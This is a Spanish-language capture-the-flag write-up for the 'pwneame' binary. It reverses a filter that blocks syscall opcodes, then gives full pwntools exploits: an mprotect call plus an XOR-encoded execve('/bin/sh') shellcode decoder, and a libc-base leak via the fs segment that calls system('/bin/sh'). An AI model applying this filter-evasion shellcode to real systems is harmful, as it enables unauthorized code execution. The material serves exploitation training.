Reversing
Si ejecutamos el binario nos pide una entrada donde enviamos 16 bytes
, nos devuelve un mensaje y corrompe de alguna forma inesperada sin más
❯ ./pwneame
pwn it:
AAAAAAAABBBBBBBB
Go!
zsh: segmentation fault (core dumped) ./pwneame
Iniciamos desensamblando el programa con ida
, la función main
inicia llamando a mmap
para reservar 0x64
o 100
bytes de memoria en la dirección 0xcafe0000
, luego con memset llena el buffer que retorna que nosotros llamamos shellcode con 0's
Luego muestra un mensaje con puts y lee 0x64
bytes, llama a la función forbidden
pasandole el shellcode como argumento y realiza un salto condicional si retorna 0
Si realiza el salto jz
utiliza mprotect
para establecer permisos 4
a 0x100
bytes del buffer asignado y realiza un call rdx
donde previamente se guardó el shellcode
La función forbidden
recibe el shellcode y lo guarda en una variable address, además inicializa un iterador i
en 0
que se utilizará para recorrer todo el shellcode
Compara que el iterador sea menor o igual que 98
, si lo es compara el byte en la posición i
contra el byte 0xf
, esto se hace porque los shellcodes generalmente ejecutan la instrucción syscall
o sysenter
las cuales en su opcode tienen 0f
❯ asm -c amd64 'syscall'
0f05
❯ asm -c amd64 'sysenter'
0f34
En caso de que pase esa comprobación compara el byte en la posición i
con 0xcd
y el byte en la posición i + 1
con 0x80
, esto se hace porque otra forma de realizar una syscall
es ejecutar int 0x80
cuyo opcode es cd80
, en caso de que exista una de estos bytes llama a puts
y retorna 1
evitando asi que se ejecute el shellcode
❯ asm -c amd64 'int 0x80'
cd80
Explotación 1
Comenzamos mirando las protecciones del binario, este contiene FULL RELRO
que impide escribir en la tabla got
, contiene PIE
que hace aleatoria la dirección base del binario y NX
que impide ejecutar shellcode en el stack sin embargo como aqui el programa ejecuta el call
a un espacio reservado no nos afecta directamente
❯ checksec pwneame
[*] '/home/user/pwneame'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Entonces iniciamos nuestro exploit estableciendo un breakpoint en el call rdx
y lo que enviaremos cuando nos pida un input será simplemente 8
nops o 0x90
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("nop") * 8
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Al llegar a la instrucción call rdx
entramos a la llamada y vemos que se ejecutarán nuestros 8
nops, comprobamos que el input se interpreta como shellcode
Breakpoint 1, 0x00005ec6130d83b0 in main ()
pwndbg> x/i $rip
=> 0x5ec6130d83b0 <main+197>: call rdx
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> x/8i $rip
=> 0xcafe0000: nop
0xcafe0001: nop
0xcafe0002: nop
0xcafe0003: nop
0xcafe0004: nop
0xcafe0005: nop
0xcafe0006: nop
0xcafe0007: nop
pwndbg>
Si podemos ejecutar shellcode normalmente enviamos un shellcode como este de 21
bytes que ejecute un execve("/bin/sh", NULL, NULL);
sin embargo por la limitación en la syscall
al intentar ejecutarlo nos muestra Forbidden
y no lo ejecuta
#!/usr/bin/python3
from pwn import process, context, asm
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './pwneame': pid 57510
[*] Switching to interactive mode
Forbidden!
[*] Got EOF while reading in interactive
$
Una técnica muy conocida es aplicar una operación xor
al shellcode, en este caso con la key 0x1
y enviar un decoder que en este caso funciona de la siguiente forma
El decoder inicia guardando la longitud del shellcode en rcx
, guarda en rdi
la dirección donde inicia y hace un short jump
para evitar ejecutar el shellcode xoreado, luego realiza un bucle donde por cada iteración realiza el mismo xor
en el byte y decremente rcx
, incrementa rdi
para pasar al siguiente byte y continua hasta que rcx
llega a 0
y salta al shellcode original que ya ha sido decodeado con el xor
#!/usr/bin/python3
from pwn import gdb, context, asm, xor
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shellcode = xor(shellcode, 0x1)
payload = b""
payload += asm("push 0x15") # $rsp = len(shellcode)
payload += asm("pop rcx") # $rcx = counter
payload += asm("add edi, 0x8") # $rdi = shellcode start
payload += asm("jmp $+0x17") # jump xored shellcode
payload += shellcode # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1") # restore xored byte
payload += asm("dec cl") # decrease counter
payload += asm("inc edi") # increase address
payload += asm("jrcxz $-0x1c") # if $rcx == 0 -> exec shellcode
payload += asm("jmp $-0x9") # if $rcx != 0 -> loop to decode
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
Si intentamos ejecutar nuestro exploit nos encontramos un gran problema, al intentar ejecutar el primer xor
el programa corrompe debido a que el espacio reservado tiene solo privilegios x
pero no w
por lo que no puede modificar la memoria
Breakpoint 1, 0x00005aa942c383b0 in main ()
pwndbg> c
Continuando.
Program received signal SIGSEGV, Segmentation fault.
0x00000000cafe001d in ?? ()
pwndbg> x/i $rip
=> 0xcafe001d: xor BYTE PTR [rdi],0x1
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0xcafe0000 0xcafe1000 --xp 1000 0 [anon_cafe] +0x0
0x5aa942c37000 0x5aa942c38000 r--p 1000 0 /home/user/pwneame
pwndbg>
Afortunadamente cuando llegamos al call
el registro rcx
se almacena la dirección de mprotect + 11
, podriamos usar mprotect
para modificar estos privilegios a gusto
Breakpoint 1, 0x000061b0c04e03b0 in main ()
pwndbg> x/i $rcx
0x7cdfa351e8bb <mprotect+11>: cmp rax,0xfffffffffffff001
pwndbg>
Entonces, nuestro shellcode guarda en rax
la dirección de mprotect
a partir del registro rcx
, luego en rdi
la dirección 0xcafe0000
que es donde queremos modificar, en rsi
la longitud 0x1000
y finalmente en rdx
los privilegios 7
que equivale a rwx
, una vez seteados llamamos a rax que contiene el mprotect
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
payload = b""
payload += asm("lea rax, [rcx - 0xb]") # $rax = mprotect()
payload += asm("xor rdi, rdi") # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff") # $rdi = 0xcafeffff
payload += asm("inc di") # $rdi = 0xcafe0000
payload += asm("push 0x10") # $rsp = &0x10
payload += asm("pop rsi") # $rsi = 0x10
payload += asm("shl rsi, 0x8") # $rsi = 0x1000
payload += asm("push 0x7") # $rsp = &0x7
payload += asm("pop rdx") # $rdx = 0x7
payload += asm("call rax") # call mprotect()
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
Entonces, cuando llegamos al breakpoint saltamos a la llamada y podemos ver que se llamará a la función mprotect(0xcafe0000, 0x1000, 0x7);
que modificará los permisos
Breakpoint 1, 0x000063e80d1b73b0 in main ()
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> nextcall
Temporary breakpoint -10, 0x00000000cafe0019 in ?? ()
pwndbg> x/i 0xcafe0019
=> 0xcafe0019: call rax
pwndbg> x/i $rax
0x74f93151e8b0 <mprotect>: endbr64
pwndbg> p/x $rdi
$1 = 0xcafe0000
pwndbg> p/x $rsi
$2 = 0x1000
pwndbg> p/x $rdx
$3 = 0x7
pwndbg>
Cuando llamamos a mprotect
podemos comprobar los permisos de la dirección 0xcafe0000
y ahora se han modificado a rwx
por lo que deberiamos poder escribir
pwndbg> ni
0x00000000cafe001b in ?? ()
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0xcafe0000 0xcafe1000 rwxp 1000 0 [anon_cafe] +0x0
0x63e80d1b6000 0x63e80d1b7000 r--p 1000 0 /home/user/pwneame
pwndbg>
Nuestro exploit final inicia ejecutando mprotect
para cambiar los permisos a rwx
y luego ya ejecuta el decoder que anteriormente vimos como funciona, una vez que se restauramos el shellcode original con execve
lo ejecuta y nos otorga la shell
#!/usr/bin/python3
from pwn import process, context, asm, xor
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shellcode = xor(shellcode, 0x1)
payload = b""
payload += asm("lea rax, [rcx - 0xb]") # $rax = mprotect()
payload += asm("xor rdi, rdi") # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff") # $rdi = 0xcafeffff
payload += asm("inc di") # $rdi = 0xcafe0000
payload += asm("push 0x10") # $rsp = &0x10
payload += asm("pop rsi") # $rsi = 0x10
payload += asm("shl rsi, 0x8") # $rsi = 0x1000
payload += asm("push 0x7") # $rsp = &0x7
payload += asm("pop rdx") # $rdx = 0x7
payload += asm("call rax") # call mprotect()
payload += asm("push 0x15") # $rsp = len(shellcode)
payload += asm("pop rcx") # $rcx = counter
payload += asm("add edi, 0x23") # $rdi = shellcode start
payload += asm("jmp $+0x17") # jump xored shellcode
payload += shellcode # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1") # restore xored byte
payload += asm("dec cl") # decrease counter
payload += asm("inc edi") # increase address
payload += asm("jrcxz $-0x1c") # if $rcx == 0 -> exec shellcode
payload += asm("jmp $-0x9") # if $rcx != 0 -> loop to decode
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './pwneame': pid 65488
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Explotación 2
Otra forma interesante ya que nos otorgan el archivo libc.so.6
es obtener la dirección base de libc, esto lo hacemos accediendo a la estructura TCB
en el segmento fs
en el offset 0x0
, guardamos en rax
el qword que se encuentra en el offset 0xb20
de la dirección obtenida, este offset contiene la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("int3") # breakpoint
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Llegamos al breakpoint establecido con int3
y podemos ver nuestras 2 instrucciones
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000cafe0001 in ?? ()
pwndbg> x/3i $rip-1
0xcafe0000: int3
=> 0xcafe0001: mov rax,QWORD PTR fs:0x0
0xcafe000a: mov rax,QWORD PTR [rax+0xb20]
pwndbg> ni
0x00000000cafe000a in ?? ()
pwndbg> ni
0x00000000cafe0011 in ?? ()
pwndbg>
Al ejecutar ambas podemos ver que el contenido de rax
es la dirección base de libc
pwndbg> p/x $rax
$1 = 0x7eee83a00000
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5679204b4000 0x5679204b8000 rw-p 4000 3000 /home/user/pwneame
► 0x7eee83a00000 0x7eee83a28000 r--p 28000 0 /home/user/libc.so.6
► 0x7eee83a28000 0x7eee83bbd000 r-xp 195000 28000 /home/user/libc.so.6
► 0x7eee83bbd000 0x7eee83c15000 r--p 58000 1bd000 /home/user/libc.so.6
► 0x7eee83c15000 0x7eee83c19000 r--p 4000 214000 /home/user/libc.so.6
► 0x7eee83c19000 0x7eee83c1b000 rw-p 2000 218000 /home/user/libc.so.6
0x7eee83c1b000 0x7eee83c71000 r--p 2000 0 /home/user/ld-linux-x86-64.so.2
pwndbg>
Ya con esto solo nos queda sumar los offsets para la función system
y la string /bin/sh
y hacer la llamada a la función calculada para asi obtener una shell
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.35
BuildID: 203de0ae33b53fee1578b117cb4123e85d0534f0
MD5: a1aab220521fd980ab1467698349d259
SHA1: d70dd881e95e9e71ccfac941db27122a415f5086
SHA256: cf04db546ffc02cda97831d1711215015dc76927c415e59cbfcc1929ff1b00c4
Symbols:
__libc_start_main_ret = 0x29d90
dup2 = 0x114e20
printf = 0x606f0
puts = 0x80e50
read = 0x1145e0
str_bin_sh = 0x1d8678
system = 0x50d70
write = 0x114680
Entonces, obtenemos la dirección libc base en rax
y la copiamos en rdi
, a rdi
le sumamos el offset de /bin/sh
y a rax
el de de system
que luego llamaremos
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax") # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678") # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70") # $rax = system()
shellcode += asm("call rax") # system("/bin/sh")
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Una vez ejecutamos el exploit podemos ver que se corrompe al ejecutar un movaps
, esto se debe a que las funciones de libc en x64
requieren que la pila este alineada en 16
bytes, osea que la direccion de rsp
termine en 0
que en este caso no es asi
Program received signal SIGSEGV, Segmentation fault.
0x00007eedc9050973 in __sigemptyset (set=<optimized out>)
pwndbg> x/i $rip
=> 0x7eedc9050973 <do_system+115>: movaps XMMWORD PTR [rsp],xmm1
pwndbg> p/x $rsp
$1 = 0x7ffc85cd8818
pwndbg>
Este problema lo solucionamos alineando un stack al ejecutar un add rsp, 8
antes de la llamada, entonces nuestro exploit calcula la dirección de libc base y al sumar los offsets podemos ejecutar un system("/bin/sh");
que nos devuelve una shell
#!/usr/bin/python3
from pwn import process, context, asm
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax") # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678") # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70") # $rax = system()
shellcode += asm("add rsp, 0x8") # align stack
shellcode += asm("call rax") # system("/bin/sh")
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit2.py
[+] Starting local process './pwneame': pid 73280
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$